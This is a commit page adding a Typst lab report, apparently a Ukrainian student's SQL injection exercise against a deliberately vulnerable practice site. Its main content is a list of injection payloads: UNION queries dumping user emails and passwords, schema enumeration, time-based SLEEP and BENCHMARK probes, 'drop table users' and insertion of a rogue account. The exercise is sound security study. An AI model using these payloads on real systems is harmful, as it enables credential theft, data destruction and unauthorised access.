feat: add even more vulnerabilities! migrate to mysql
This commit is contained in:
70
lab.typ
Normal file
70
lab.typ
Normal file
@ -0,0 +1,70 @@
|
||||
#import "@local/nure:0.1.0": *
|
||||
|
||||
#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2)
|
||||
|
||||
#v(-spacing)
|
||||
|
||||
== Мета роботи
|
||||
Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції.
|
||||
|
||||
== Хід роботи
|
||||
#v(-spacing)
|
||||
|
||||
vulnerability.linerds.us/products
|
||||
|
||||
IN PRODUCT SEARCH
|
||||
`' OR 1=1 --`
|
||||
`' UNION select password, password, email from users;`
|
||||
`' or id=2; -- select item with Nth(2nd) id`
|
||||
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
|
||||
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
|
||||
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
|
||||
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
|
||||
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
|
||||
#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption
|
||||
|
||||
IN ADD PRODUCT
|
||||
`3); drop table users; `
|
||||
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
|
||||
`'1'); DO SLEEP(5); #`
|
||||
// === Підготовка
|
||||
// #lorem(150)
|
||||
|
||||
// === Виконання дослідження
|
||||
// #lorem(300)
|
||||
|
||||
// === Підрахунок результатів
|
||||
// #lorem(250)
|
||||
|
||||
== Висновки
|
||||
|
||||
// == Контрольні запитання
|
||||
// #lorem(100):
|
||||
// - #lorem(20);
|
||||
// - #lorem(30);
|
||||
// - #lorem(15);
|
||||
// - #lorem(25);
|
||||
// - #lorem(42);
|
||||
// - #lorem(27).
|
||||
|
||||
#show: appendices_style
|
||||
|
||||
// = Quote
|
||||
// #link("https://youtu.be/bJQj1uKtnus")[
|
||||
// The art isn't the art, the art is never the art,
|
||||
// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder.
|
||||
// ]
|
||||
|
||||
|
||||
// = Приклад звіту 1
|
||||
// #v(-spacing)
|
||||
// == Частина 1
|
||||
// #lorem(100)
|
||||
// == Частина2
|
||||
// #lorem(200)
|
||||
//
|
||||
// = Приклад звіту 2
|
||||
// #lorem(200)
|
||||
//
|
||||
// = Приклад звіту 3
|
||||
// #lorem(200)
|
Reference in New Issue
Block a user